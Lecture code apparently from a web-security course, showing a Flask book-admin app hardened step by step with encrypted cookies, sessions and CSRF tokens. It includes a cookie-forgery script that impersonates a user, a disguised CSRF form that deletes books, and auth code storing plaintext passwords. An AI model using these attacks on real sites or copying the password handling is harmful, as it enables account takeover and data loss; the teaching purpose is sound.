

cookieforgeryattack.py (Page 1 of 1)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # cookieforgeryattack.py
5: # Author: Bob Dondero
6: #-----
7:
8: import sys
9: import socket
10:
11: def main():
12:
13:     if len(sys.argv) != 3:
14:         print('Usage: python %s host port' % sys.argv[0])
15:         sys.exit(1)
16:
17:     try:
18:         host = sys.argv[1]
19:         port = int(sys.argv[2])
20:
21:         with socket.socket() as sock:
22:             sock.connect((host, port))
23:
24:             with sock.makefile(
25:                 mode='w', encoding='iso-8859-1') as out_flo:
26:                 out_flo.write('GET ' + '/show' + ' HTTP/1.1\r\n')
27:                 out_flo.write('Host: ' + host + '\r\n')
28:                 out_flo.write('Cookie: username=rdondero\r\n')
29:                 out_flo.write('\r\n')
30:
31:             with sock.makefile(
32:                 mode='r', encoding='iso-8859-1') as in_flo:
33:                 for line in in_flo:
34:                     print(line, end='')
35:
36:     except Exception as ex:
37:         print(ex, file=sys.stderr)
38:         sys.exit(1)
39:
40: if __name__ == '__main__':
41:     main()

```

blank (Page 1 of 1)

1: This page is intentionally blank.

PennyAdmin05aEncrypt/auth.py (Page 1 of 3)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # auth.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import cryptocode
10: import flask
11: import dotenv
12: import database
13:
14: from top import app
15:
16: #-----
17:
18: dotenv.load_dotenv()
19: secret_key = os.environ['APP_SECRET_KEY']
20:
21: #-----
22:
23: def _valid_username_and_password(username, password):
24:
25:     stored_password = database.get_password(username)
26:     if stored_password is None:
27:         return False
28:     return password == stored_password
29:
30: #-----
31:
32: @app.route('/login', methods=['GET'])
33: def login():
34:
35:     msg = flask.request.args.get('msg')
36:     if msg is None:
37:         msg = ''
38:     html = flask.render_template('login.html', msg=msg)
39:     response = flask.make_response(html)
40:     return response
41:
42: #-----
43:
44: @app.route('/handlelogin', methods=['POST'])
45: def handle_login():
46:
47:     username = flask.request.form.get('username')
48:     password = flask.request.form.get('password')
49:     if (username is None) or (username.strip() == ''):
50:         return flask.redirect(
51:             flask.url_for('login', msg='Wrong username or password'))
52:     if (password is None) or (password.strip() == ''):
53:         return flask.redirect(
54:             flask.url_for('login', msg='Wrong username or password'))
55:     if not _valid_username_and_password(username, password):
56:         return flask.redirect(
57:             flask.url_for('login', msg='Wrong username or password'))
58:     original_url = flask.request.cookies.get('original_url', '/index')
59:     response = flask.redirect(original_url)
60:     encrypted_username = cryptocode.encrypt(username, secret_key)
61:     response.set_cookie('username', encrypted_username)
62:     return response
63:
64: #-----
65:

```

PennyAdmin05aEncrypt/auth.py (Page 2 of 3)

```

66: @app.route('/logout', methods=['GET'])
67: def logout():
68:
69:     html_code = flask.render_template('loggedout.html')
70:     response = flask.make_response(html_code)
71:
72:     # Delete cookies in the browser by setting them to expire at
73:     # a time that is in the past.
74:     response.set_cookie('username', '', expires=0)
75:     response.set_cookie('original_url', '', expires=0)
76:
77:     return response
78:
79: #-----
80:
81: @app.route('/signup', methods=['GET'])
82: def signup():
83:
84:     error_msg = flask.request.args.get('error_msg')
85:     if error_msg is None:
86:         error_msg = ''
87:     html_code = flask.render_template('signup.html',
88:                                       error_msg=error_msg)
89:     response = flask.make_response(html_code)
90:     return response
91:
92: #-----
93:
94: @app.route('/handlesignup', methods=['POST'])
95: def handle_signup():
96:
97:     username = flask.request.form.get('username')
98:     password = flask.request.form.get('password')
99:     if (username is None) or (username.strip() == ''):
100:         return flask.redirect(
101:             flask.url_for('signup', error_msg='Invalid username'))
102:     if (password is None) or (password.strip() == ''):
103:         return flask.redirect(
104:             flask.url_for('signup', error_msg='Invalid password'))
105:     successful = database.add_user(username, password)
106:     if not successful:
107:         return flask.redirect(
108:             flask.url_for('signup', error_msg='Duplicate username'))
109:     return flask.redirect(
110:         flask.url_for('login', msg='You now are signed up.'))
111:
112: #-----
113:
114: def get_username():
115:
116:     encrypted_username = flask.request.cookies.get('username')
117:     if encrypted_username is None:
118:         return None
119:     username = cryptocode.decrypt(encrypted_username, secret_key)
120:     if not username:
121:         return None
122:     return username
123:
124: #-----
125:
126: def authenticate():
127:
128:     encrypted_username = flask.request.cookies.get('username')
129:
130:     if encrypted_username is None:

```

PennyAdmin05aEncrypt/auth.py (Page 3 of 3)

```
131:         response = flask.redirect(flask.url_for('login'))
132:         response.set_cookie('original_url', flask.request.url)
133:         flask.abort(response)
134:
135:     username = cryptocode.decrypt(encrypted_username, secret_key)
136:     if not username:
137:         response = flask.redirect(flask.url_for('login'))
138:         response.set_cookie('original_url', flask.request.url)
139:         flask.abort(response)
```

blank (Page 1 of 1)

1: This page is intentionally blank.

PennyAdmin05bSession/penny.py (Page 1 of 3)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # penny.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import dotenv
10: import flask
11: import database
12: import auth
13:
14: from top import app
15:
16: #-----
17:
18: dotenv.load_dotenv()
19: app.secret_key = os.environ['APP_SECRET_KEY']
20:
21: #-----
22:
23: @app.route('/', methods=['GET'])
24: @app.route('/index', methods=['GET'])
25: def index():
26:
27:     html_code = flask.render_template('index.html')
28:     response = flask.make_response(html_code)
29:     return response
30:
31: #-----
32:
33: @app.route('/menu', methods=['GET'])
34: def menu():
35:
36:     auth.authenticate()
37:     username = auth.get_username()
38:
39:     is_authorized = database.is_authorized(username)
40:
41:     html_code = flask.render_template('menu.html', username=username,
42:                                     is_authorized=is_authorized)
43:     response = flask.make_response(html_code)
44:     return response
45:
46: #-----
47:
48: @app.route('/show', methods=['GET'])
49: def show():
50:
51:     auth.authenticate()
52:     username = auth.get_username()
53:
54:     books = database.get_books()
55:     html_code = flask.render_template('show.html',
56:                                     username=username, books=books)
57:     response = flask.make_response(html_code)
58:     return response
59:
60: #-----
61:
62: @app.route('/add', methods=['GET'])
63: def add():
64:
65:     auth.authenticate()

```

PennyAdmin05bSession/penny.py (Page 2 of 3)

```

66:     username = auth.get_username()
67:
68:     if not database.is_authorized(username):
69:         html_code = 'You are not authorized to add books.'
70:         response = flask.make_response(html_code)
71:         return response
72:
73:     html_code = flask.render_template('add.html', username=username)
74:     response = flask.make_response(html_code)
75:     return response
76:
77: #-----
78:
79: @app.route('/handleadd', methods=['POST'])
80: def handle_add():
81:
82:     auth.authenticate()
83:     username = auth.get_username()
84:
85:     if not database.is_authorized(username):
86:         html_code = 'You are not authorized to add books.'
87:         response = flask.make_response(html_code)
88:         return response
89:
90:     isbn = flask.request.form.get('isbn')
91:     if (isbn is None) or (isbn.strip() == ''):
92:         message = 'The addition was unsuccessful: missing ISBN'
93:     else:
94:         author = flask.request.form.get('author')
95:         if (author is None) or (author.strip() == ''):
96:             message = 'The addition was unsuccessful: missing author'
97:         else:
98:             title = flask.request.form.get('title')
99:             if (title is None) or (title.strip() == ''):
100:                 message = 'The addition was unsuccessful: missing title'
101:             else:
102:                 isbn = isbn.strip()
103:                 author = author.strip()
104:                 title = title.strip()
105:
106:                 successful = database.add_book(isbn, author, title)
107:                 if not successful:
108:                     message = 'The addition was unsuccessful: '
109:                     message += 'duplicate ISBN'
110:                 else:
111:                     message = 'The addition was successful'
112:
113:     html_code = flask.render_template('reportresults.html',
114:                                     username=username, message=message)
115:     response = flask.make_response(html_code)
116:     return response
117:
118: #-----
119:
120: @app.route('/delete', methods=['GET'])
121: def delete():
122:
123:     auth.authenticate()
124:     username = auth.get_username()
125:
126:     if not database.is_authorized(username):
127:         html_code = 'You are not authorized to delete books.'
128:         response = flask.make_response(html_code)
129:         return response
130:

```

PennyAdmin05bSession/penny.py (Page 3 of 3)

```

131:     html_code = flask.render_template('delete.html', username=username)
132:     response = flask.make_response(html_code)
133:     return response
134:
135: #-----
136:
137: @app.route('/handledelete', methods=['POST'])
138: def handle_delete():
139:
140:     auth.authenticate()
141:     username = auth.get_username()
142:
143:     if not database.is_authorized(username):
144:         html_code = 'You are not authorized to delete books.'
145:         response = flask.make_response(html_code)
146:         return response
147:
148:     isbn = flask.request.form.get('isbn')
149:     if (isbn is None) or (isbn.strip() == ''):
150:         message = 'The deletion was unsuccessful: missing ISBN'
151:     else:
152:         isbn = isbn.strip()
153:         database.delete_book(isbn)
154:         message = 'The deletion was successful'
155:
156:     html_code = flask.render_template('reportresults.html',
157:         username=username, message=message)
158:     response = flask.make_response(html_code)
159:     return response

```

blank (Page 1 of 1)

1: This page is intentionally blank.

PennyAdmin05bSession/auth.py (Page 1 of 2)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # auth.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import flask
10: import dotenv
11: import database
12:
13: from top import app
14:
15: #-----
16:
17: def _valid_username_and_password(username, password):
18:
19:     stored_password = database.get_password(username)
20:     if stored_password is None:
21:         return False
22:     return password == stored_password
23:
24: #-----
25:
26: @app.route('/login', methods=['GET'])
27: def login():
28:
29:     msg = flask.request.args.get('msg')
30:     if msg is None:
31:         msg = ''
32:     html = flask.render_template('login.html', msg=msg)
33:     response = flask.make_response(html)
34:     return response
35:
36: #-----
37:
38: @app.route('/handlelogin', methods=['POST'])
39: def handle_login():
40:
41:     username = flask.request.form.get('username')
42:     password = flask.request.form.get('password')
43:     if (username is None) or (username.strip() == ''):
44:         return flask.redirect(
45:             flask.url_for('login', msg='Wrong username or password'))
46:     if (password is None) or (password.strip() == ''):
47:         return flask.redirect(
48:             flask.url_for('login', msg='Wrong username or password'))
49:     if not _valid_username_and_password(username, password):
50:         return flask.redirect(
51:             flask.url_for('login', msg='Wrong username or password'))
52:     original_url = flask.session.get('original_url', '/index')
53:     response = flask.redirect(original_url)
54:     flask.session['username'] = username
55:     return response
56:
57: #-----
58:
59: @app.route('/logout', methods=['GET'])
60: def logout():
61:
62:     flask.session.clear()
63:     html_code = flask.render_template('loggedout.html')
64:     response = flask.make_response(html_code)
65:     return response

```

PennyAdmin05bSession/auth.py (Page 2 of 2)

```

66:
67: #-----
68:
69: @app.route('/signup', methods=['GET'])
70: def signup():
71:
72:     error_msg = flask.request.args.get('error_msg')
73:     if error_msg is None:
74:         error_msg = ''
75:     html_code = flask.render_template('signup.html',
76:         error_msg=error_msg)
77:     response = flask.make_response(html_code)
78:     return response
79:
80: #-----
81:
82: @app.route('/handlesignup', methods=['POST'])
83: def handle_signup():
84:
85:     username = flask.request.form.get('username')
86:     password = flask.request.form.get('password')
87:     if (username is None) or (username.strip() == ''):
88:         return flask.redirect(
89:             flask.url_for('signup', error_msg='Invalid username'))
90:     if (password is None) or (password.strip() == ''):
91:         return flask.redirect(
92:             flask.url_for('signup', error_msg='Invalid password'))
93:     successful = database.add_user(username, password)
94:     if not successful:
95:         return flask.redirect(
96:             flask.url_for('signup', error_msg='Duplicate username'))
97:     return flask.redirect(
98:         flask.url_for('login', msg='You now are signed up.'))
99:
100: #-----
101:
102: def get_username():
103:
104:     return flask.session.get('username')
105:
106: #-----
107:
108: def authenticate():
109:
110:     username = flask.session.get('username')
111:     if username is None:
112:         response = flask.redirect(flask.url_for('login'))
113:         flask.session['original_url'] = flask.request.url
114:         flask.abort(response)

```

PennyAdmin06SSSession/penny.py (Page 1 of 3)

```

1: #!/usr/bin/env python
2: #
3: #-----
4: # penny.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import dotenv
10: import flask
11: import flask_session
12: import flask_sqlalchemy
13: import database
14: import auth
15:
16: from top import app
17:
18: #-----
19:
20: dotenv.load_dotenv()
21:
22: # Session configuration to store session data in the file system
23: # (simple, but not realistic for a deployed app):
24:
25: #app.config['SESSION_PERMANENT'] = False
26: #app.config['SESSION_TYPE'] = 'filesystem'
27: #flask_session.Session(app)
28:
29: # Session configuration to store session data in a database:
30:
31: session_database_url = os.getenv('SESSION_DATABASE_URL',
32:     'sqlite:///pennysessions.sqlite')
33: session_database_url = session_database_url.replace(
34:     'postgres://', 'postgresql://')
35: app.config['SESSION_PERMANENT'] = False
36: app.config['SESSION_TYPE'] = 'sqlalchemy'
37: app.config['SQLALCHEMY_DATABASE_URI'] = session_database_url
38: app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
39: app.config['SESSION_SQLALCHEMY'] = flask_sqlalchemy.SQLAlchemy(app)
40: flask_session.Session(app)
41:
42: #-----
43:
44: @app.route('/', methods=['GET'])
45: @app.route('/index', methods=['GET'])
46: def index():
47:
48:     html_code = flask.render_template('index.html')
49:     response = flask.make_response(html_code)
50:     return response
51:
52: #-----
53:
54: @app.route('/menu', methods=['GET'])
55: def menu():
56:
57:     auth.authenticate()
58:     username = auth.get_username()
59:
60:     is_authorized = database.is_authorized(username)
61:
62:     html_code = flask.render_template('menu.html', username=username,
63:         is_authorized=is_authorized)
64:     response = flask.make_response(html_code)
65:     return response

```

PennyAdmin06SSSession/penny.py (Page 2 of 3)

```

66:
67: #-----
68:
69: @app.route('/show', methods=['GET'])
70: def show():
71:
72:     auth.authenticate()
73:     username = auth.get_username()
74:
75:     books = database.get_books()
76:     html_code = flask.render_template('show.html',
77:         username=username, books=books)
78:     response = flask.make_response(html_code)
79:     return response
80:
81: #-----
82:
83: @app.route('/add', methods=['GET'])
84: def add():
85:
86:     auth.authenticate()
87:     username = auth.get_username()
88:
89:     if not database.is_authorized(username):
90:         html_code = 'You are not authorized to add books.'
91:         response = flask.make_response(html_code)
92:         return response
93:
94:     html_code = flask.render_template('add.html', username=username)
95:     response = flask.make_response(html_code)
96:     return response
97:
98: #-----
99:
100: @app.route('/handleadd', methods=['POST'])
101: def handle_add():
102:
103:     auth.authenticate()
104:     username = auth.get_username()
105:
106:     if not database.is_authorized(username):
107:         html_code = 'You are not authorized to add books.'
108:         response = flask.make_response(html_code)
109:         return response
110:
111:     isbn = flask.request.form.get('isbn')
112:     if (isbn is None) or (isbn.strip() == ''):
113:         message = 'The addition was unsuccessful: missing ISBN'
114:     else:
115:         author = flask.request.form.get('author')
116:         if (author is None) or (author.strip() == ''):
117:             message = 'The addition was unsuccessful: missing author'
118:         else:
119:             title = flask.request.form.get('title')
120:             if (title is None) or (title.strip() == ''):
121:                 message = 'The addition was unsuccessful: missing title'
122:             else:
123:                 isbn = isbn.strip()
124:                 author = author.strip()
125:                 title = title.strip()
126:
127:                 successful = database.add_book(isbn, author, title)
128:                 if not successful:
129:                     message = 'The addition was unsuccessful: '
130:                     message += 'duplicate ISBN'

```

PennyAdmin06SSSession/penny.py (Page 3 of 3)

```

131:         else:
132:             message = 'The addition was successful'
133:
134:         html_code = flask.render_template('reportresults.html',
135:             username=username, message=message)
136:         response = flask.make_response(html_code)
137:         return response
138:
139: #-----
140:
141: @app.route('/delete', methods=['GET'])
142: def delete():
143:
144:     auth.authenticate()
145:     username = auth.get_username()
146:
147:     if not database.is_authorized(username):
148:         html_code = 'You are not authorized to delete books.'
149:         response = flask.make_response(html_code)
150:         return response
151:
152:     html_code = flask.render_template('delete.html', username=username)
153:     response = flask.make_response(html_code)
154:     return response
155:
156: #-----
157:
158: @app.route('/handledelete', methods=['POST'])
159: def handle_delete():
160:
161:     auth.authenticate()
162:     username = auth.get_username()
163:
164:     if not database.is_authorized(username):
165:         html_code = 'You are not authorized to delete books.'
166:         response = flask.make_response(html_code)
167:         return response
168:
169:     isbn = flask.request.form.get('isbn')
170:     if (isbn is None) or (isbn.strip() == ''):
171:         message = 'The deletion was unsuccessful: missing ISBN'
172:     else:
173:         isbn = isbn.strip()
174:         database.delete_book(isbn)
175:         message = 'The deletion was successful'
176:
177:     html_code = flask.render_template('reportresults.html',
178:         username=username, message=message)
179:     response = flask.make_response(html_code)
180:     return response

```

blank (Page 1 of 1)

1: This page is intentionally blank.

csrfattack.html (Page 1 of 1)

```
1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>PennyAdmin</title>
5:   </head>
6:   <body>
7:     <hr>Hello, and welcome to <strong>PennyAdmin</strong><hr>
8:     <h1>Search for a Book by ISBN</h1>
9:     <form action="http://localhost:55555/handledelete" method="post">
10:       Enter an ISBN:
11:       <input type="text" name="isbn" autofocus>
12:       <input type="submit" value="Go">
13:     </form>
14:     <br>
15:     <br>
16:     <a href="http://localhost:55555/menu">Return to menu page</a>
17:     <br>
18:     <hr>
19:     <a href="http://localhost:55555/logout">Log out</a>
20:     of the application</br>
21:     <hr>
22:     Created by <a href="https://www.cs.princeton.edu/~rdondero">
23:       Bob Dondero</a>
24:     <hr>
25:   </body>
26: </html>
```

blank (Page 1 of 1)

```
1: This page is intentionally blank.
```

PennyAdmin07aCsrfToken/add.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>PennyAdmin</title>
5:   </head>
6:   <body>
7:     {% include 'header.html' %}
8:     <h1>Add a Book</h1>
9:     <form action="/handleadd" method="post">
10:       <input type="hidden" name="csrf_token" value="{{csrf_token}}">
11:
12:       Enter an ISBN:
13:       <input type="text" name="isbn" autofocus
14:         required pattern=".*\S.*"
15:         title="At least one non-white-space char">
16:       <br>
17:
18:       Enter an author:
19:       <input type="text" name="author"
20:         required pattern=".*\S.*"
21:         title="At least one non-white-space char">
22:       <br>
23:
24:       Enter a title:
25:       <input type="text" name="title"
26:         required pattern=".*\S.*"
27:         title="At least one non-white-space char">
28:       <br>
29:
30:       <input type="submit" value="Go">
31:     </form>
32:     <br>
33:     <a href="/menu">Return to menu page</a>
34:     <br>
35:     {% include 'footer.html' %}
36:   </body>
37: </html>

```

PennyAdmin07aCsrfToken/delete.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>PennyAdmin</title>
5:   </head>
6:   <body>
7:     {% include 'header.html' %}
8:     <h1>Delete a Book</h1>
9:     <form action="/handledelete" method="post">
10:       <input type="hidden" name="csrf_token" value="{{csrf_token}}">
11:
12:       Enter an ISBN:
13:       <input type="text" name="isbn" autofocus
14:         required pattern=".*\S.*"
15:         title="At least one non-white-space char">
16:       <input type="submit" value="Go">
17:     </form>
18:     <br>
19:     <br>
20:     <a href="/menu">Return to menu page</a>
21:     <br>
22:     {% include 'footer.html' %}
23:   </body>
24: </html>

```

PennyAdmin07aCsrfToken/login.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>Penny.com</title>
5:   </head>
6:   <body>
7:     <h1>Login to Penny</h1>
8:     <!-- Use post instead of get for security. -->
9:     <form action="/handlelogin" method="post">
10:       <input type="hidden" name="csrf_token" value="{{csrf_token}}">
11:
12:       <table>
13:         <tbody>
14:           <tr>
15:             <td style="text-align:right">User name:</td>
16:             <td><input type="text" name="username" autofocus
17:               required pattern=".*\S.*"
18:               title="At least one non-white-space char">
19:             </td>
20:           </tr>
21:           <tr>
22:             <td style="text-align:right">Password:</td>
23:             <td><input type="password" name="password"
24:               required pattern=".*\S.*"
25:               title="At least one non-white-space char">
26:             <td>
27:           </tr>
28:           <tr>
29:             <td></td>
30:             <td><input type="submit" value="Go"></td>
31:           </tr>
32:         </tbody>
33:       </table>
34:     </form>
35:     <br>
36:     Don't have an account? <a href="/signup">Sign up</a>
37:     <br>
38:     <br>
39:     <strong>{{msg}}</strong>
40:   </body>
41: </html>

```

PennyAdmin07aCsrfToken/signup.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>Penny.com</title>
5:   </head>
6:   <body>
7:     <h1>Penny New User Signup</h1>
8:     <!-- Use post instead of get for security. -->
9:     <form action="/handlesignup" method="post">
10:       <input type="hidden" name="csrf_token" value="{{csrf_token}}">
11:
12:       <table>
13:         <tbody>
14:           <tr>
15:             <td style="text-align:right">User name:</td>
16:             <td><input type="text" name="username" autofocus
17:               required pattern=".*\S.*"
18:               title="At least one non-white-space char">
19:             </td>
20:           </tr>
21:           <tr>
22:             <td style="text-align:right">Password:</td>
23:             <td><input type="password" name="password"
24:               required pattern=".*\S.*"
25:               title="At least one non-white-space char">
26:             <td>
27:           </tr>
28:           <tr>
29:             <td></td>
30:             <td><input type="submit" value="Go"></td>
31:           </tr>
32:         </tbody>
33:       </table>
34:     </form>
35:     <br>
36:     <strong>{{error_msg}}</strong>
37:   </body>
38: </html>

```

PennyAdmin07aCsrfToken/penny.py (Page 1 of 4)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # penny.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import dotenv
10: import flask
11: import flask_session
12: import flask_sqlalchemy
13: import database
14: import auth
15:
16: from top import app
17:
18: #-----
19:
20: dotenv.load_dotenv()
21:
22: # Session configuration to store session data in the file system
23: # (simple, but not realistic for a deployed app):
24:
25: #app.config['SESSION_PERMANENT'] = False
26: #app.config['SESSION_TYPE'] = 'filesystem'
27: #flask_session.Session(app)
28:
29: # Session configuration to store session data in a database:
30:
31: session_database_url = os.getenv('SESSION_DATABASE_URL',
32:     'sqlite:///pennysessions.sqlite')
33: session_database_url = session_database_url.replace(
34:     'postgres://', 'postgresql://')
35: app.config['SESSION_PERMANENT'] = False
36: app.config['SESSION_TYPE'] = 'sqlalchemy'
37: app.config['SQLALCHEMY_DATABASE_URI'] = session_database_url
38: app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
39: app.config['SESSION_SQLALCHEMY'] = flask_sqlalchemy.SQLAlchemy(app)
40: flask_session.Session(app)
41:
42: #-----
43:
44: @app.route('/', methods=['GET'])
45: @app.route('/index', methods=['GET'])
46: def index():
47:
48:     html_code = flask.render_template('index.html')
49:     response = flask.make_response(html_code)
50:     return response
51:
52: #-----
53:
54: @app.route('/menu', methods=['GET'])
55: def menu():
56:
57:     auth.authenticate()
58:     username = auth.get_username()
59:
60:     is_authorized = database.is_authorized(username)
61:
62:     html_code = flask.render_template('menu.html', username=username,
63:         is_authorized=is_authorized)
64:     response = flask.make_response(html_code)
65:     return response

```

PennyAdmin07aCsrfToken/penny.py (Page 2 of 4)

```

66:
67: #-----
68:
69: @app.route('/show', methods=['GET'])
70: def show():
71:
72:     auth.authenticate()
73:     username = auth.get_username()
74:
75:     books = database.get_books()
76:     html_code = flask.render_template('show.html',
77:         username=username, books=books)
78:     response = flask.make_response(html_code)
79:     return response
80:
81: #-----
82:
83: @app.route('/add', methods=['GET'])
84: def add():
85:
86:     auth.authenticate()
87:     username = auth.get_username()
88:
89:     if not database.is_authorized(username):
90:         html_code = 'You are not authorized to add books.'
91:         response = flask.make_response(html_code)
92:         return response
93:
94:     csrf_token = os.urandom(12).hex()
95:     flask.session['csrf_token'] = csrf_token
96:
97:     html_code = flask.render_template('add.html',
98:         username=username, csrf_token=csrf_token)
99:
100:    response = flask.make_response(html_code)
101:    return response
102:
103: #-----
104:
105: @app.route('/handleadd', methods=['POST'])
106: def handle_add():
107:
108:    auth.authenticate()
109:    username = auth.get_username()
110:
111:    if not database.is_authorized(username):
112:        html_code = 'You are not authorized to add books.'
113:        response = flask.make_response(html_code)
114:        return response
115:
116:    csrf_token_from_session = flask.session.get('csrf_token')
117:    csrf_token_from_request = flask.request.form.get('csrf_token')
118:
119:    if ((csrf_token_from_session is None)
120:        or (csrf_token_from_request is None)
121:        or (csrf_token_from_request != csrf_token_from_session)):
122:        html_code = '<title>400 Bad Request</title>'
123:        html_code += '<h1>Bad Request</h1>'
124:        html_code += '<p>The CSRF token is missing or bad.</p>'
125:        response = flask.make_response(html_code)
126:        return response
127:
128:    isbn = flask.request.form.get('isbn')
129:    if (isbn is None) or (isbn.strip() == ''):
130:        message = 'The addition was unsuccessful: missing ISBN'

```

PennyAdmin07aCsrfToken/penny.py (Page 3 of 4)

```

131:     else:
132:         author = flask.request.form.get('author')
133:         if (author is None) or (author.strip() == ''):
134:             message = 'The addition was unsuccessful: missing author'
135:         else:
136:             title = flask.request.form.get('title')
137:             if (title is None) or (title.strip() == ''):
138:                 message = 'The addition was unsuccessful: missing title'
139:             else:
140:                 isbn = isbn.strip()
141:                 author = author.strip()
142:                 title = title.strip()
143:
144:                 successful = database.add_book(isbn, author, title)
145:                 if not successful:
146:                     message = 'The addition was unsuccessful: '
147:                     message += 'duplicate ISBN'
148:                 else:
149:                     message = 'The addition was successful'
150:
151:             html_code = flask.render_template('reportresults.html',
152:                 username=username, message=message)
153:             response = flask.make_response(html_code)
154:             return response
155:
156: #-----
157:
158: @app.route('/delete', methods=['GET'])
159: def delete():
160:
161:     auth.authenticate()
162:     username = auth.get_username()
163:
164:     if not database.is_authorized(username):
165:         html_code = 'You are not authorized to delete books.'
166:         response = flask.make_response(html_code)
167:         return response
168:
169:     csrf_token = os.urandom(12).hex()
170:     flask.session['csrf_token'] = csrf_token
171:
172:     html_code = flask.render_template('delete.html',
173:         username=username, csrf_token=csrf_token)
174:
175:     response = flask.make_response(html_code)
176:     return response
177:
178: #-----
179:
180: @app.route('/handledelete', methods=['POST'])
181: def handle_delete():
182:
183:     auth.authenticate()
184:     username = auth.get_username()
185:
186:     if not database.is_authorized(username):
187:         html_code = 'You are not authorized to delete books.'
188:         response = flask.make_response(html_code)
189:         return response
190:
191:     csrf_token_from_session = flask.session.get('csrf_token')
192:     csrf_token_from_request = flask.request.form.get('csrf_token')
193:
194:     if ((csrf_token_from_session is None)
195:         or (csrf_token_from_request is None)

```

PennyAdmin07aCsrfToken/penny.py (Page 4 of 4)

```

196:         or (csrf_token_from_request != csrf_token_from_session)):
197:             html_code = '<title>400 Bad Request</title>'
198:             html_code += '<h1>Bad Request</h1>'
199:             html_code += '<p>The CSRF token is missing or bad.</p>'
200:             response = flask.make_response(html_code)
201:             return response
202:
203:     isbn = flask.request.form.get('isbn')
204:     if (isbn is None) or (isbn.strip() == ''):
205:         message = 'The deletion was unsuccessful: missing ISBN'
206:     else:
207:         isbn = isbn.strip()
208:         database.delete_book(isbn)
209:         message = 'The deletion was successful'
210:
211:     html_code = flask.render_template('reportresults.html',
212:         username=username, message=message)
213:     response = flask.make_response(html_code)
214:     return response

```

PennyAdmin07aCsrfToken/auth.py (Page 1 of 3)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # auth.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import flask
10: import database
11: from top import app
12: #-----
13:
14: def _valid_username_and_password(username, password):
15:
16:     stored_password = database.get_password(username)
17:     if stored_password is None:
18:         return False
19:     return password == stored_password
20:
21: #-----
22:
23: @app.route('/login', methods=['GET'])
24: def login():
25:
26:     msg = flask.request.args.get('msg')
27:     if msg is None:
28:         msg = ''
29:
30:     csrf_token = os.urandom(12).hex()
31:     flask.session['csrf_token'] = csrf_token
32:
33:     html = flask.render_template('login.html',
34:                                 msg=msg, csrf_token=csrf_token)
35:
36:     response = flask.make_response(html)
37:     return response
38:
39: #-----
40:
41: @app.route('/handlelogin', methods=['POST'])
42: def handle_login():
43:
44:     csrf_token_from_session = flask.session.get('csrf_token')
45:     csrf_token_from_request = flask.request.form.get('csrf_token')
46:
47:     if ((csrf_token_from_session is None)
48:         or (csrf_token_from_request is None)
49:         or (csrf_token_from_request != csrf_token_from_session)):
50:         html_code = '<title>400 Bad Request</title>'
51:         html_code += '<h1>Bad Request</h1>'
52:         html_code += '<p>The CSRF token is missing or bad.</p>'
53:         response = flask.make_response(html_code)
54:         return response
55:
56:     username = flask.request.form.get('username')
57:     password = flask.request.form.get('password')
58:     if (username is None) or (username.strip() == ''):
59:         return flask.redirect(
60:             flask.url_for('login', msg='Wrong username or password'))
61:     if (password is None) or (password.strip() == ''):
62:         return flask.redirect(
63:             flask.url_for('login', msg='Wrong username or password'))
64:     if not _valid_username_and_password(username, password):
65:         return flask.redirect(

```

PennyAdmin07aCsrfToken/auth.py (Page 2 of 3)

```

66:         flask.url_for('login', msg='Wrong username or password'))
67:     original_url = flask.session.get('original_url', '/index')
68:     response = flask.redirect(original_url)
69:     flask.session['username'] = username
70:     return response
71:
72: #-----
73:
74: @app.route('/logout', methods=['GET'])
75: def logout():
76:
77:     flask.session.clear()
78:     html_code = flask.render_template('loggedout.html')
79:     response = flask.make_response(html_code)
80:     return response
81:
82: #-----
83:
84: @app.route('/signup', methods=['GET'])
85: def signup():
86:
87:     error_msg = flask.request.args.get('error_msg')
88:     if error_msg is None:
89:         error_msg = ''
90:
91:     csrf_token = os.urandom(12).hex()
92:     flask.session['csrf_token'] = csrf_token
93:
94:     html_code = flask.render_template('signup.html',
95:                                       error_msg=error_msg, csrf_token=csrf_token)
96:
97:     response = flask.make_response(html_code)
98:     return response
99:
100: #-----
101:
102: @app.route('/handlesignup', methods=['POST'])
103: def handle_signup():
104:
105:     csrf_token_from_session = flask.session.get('csrf_token')
106:     csrf_token_from_request = flask.request.form.get('csrf_token')
107:
108:     if ((csrf_token_from_session is None)
109:         or (csrf_token_from_request is None)
110:         or (csrf_token_from_request != csrf_token_from_session)):
111:         html_code = '<title>400 Bad Request</title>'
112:         html_code += '<h1>Bad Request</h1>'
113:         html_code += '<p>The CSRF token is missing or bad.</p>'
114:         response = flask.make_response(html_code)
115:         return response
116:
117:     username = flask.request.form.get('username')
118:     password = flask.request.form.get('password')
119:     if (username is None) or (username.strip() == ''):
120:         return flask.redirect(
121:             flask.url_for('signup', error_msg='Invalid username'))
122:     if (password is None) or (password.strip() == ''):
123:         return flask.redirect(
124:             flask.url_for('signup', error_msg='Invalid password'))
125:     successful = database.add_user(username, password)
126:     if not successful:
127:         return flask.redirect(
128:             flask.url_for('signup', error_msg='Duplicate username'))
129:
130:     return flask.redirect(

```

PennyAdmin07aCsrfToken/auth.py (Page 3 of 3)

```
131:         flask.url_for('login', msg='You now are signed up.'))
132:
133: #-----
134:
135: def get_username():
136:     return flask.session.get('username')
137:
138:
139: #-----
140:
141: def authenticate():
142:
143:     username = flask.session.get('username')
144:     if username is None:
145:         response = flask.redirect(flask.url_for('login'))
146:         flask.session['original_url'] = flask.request.url
147:         flask.abort(response)
```

blank (Page 1 of 1)

1: This page is intentionally blank.

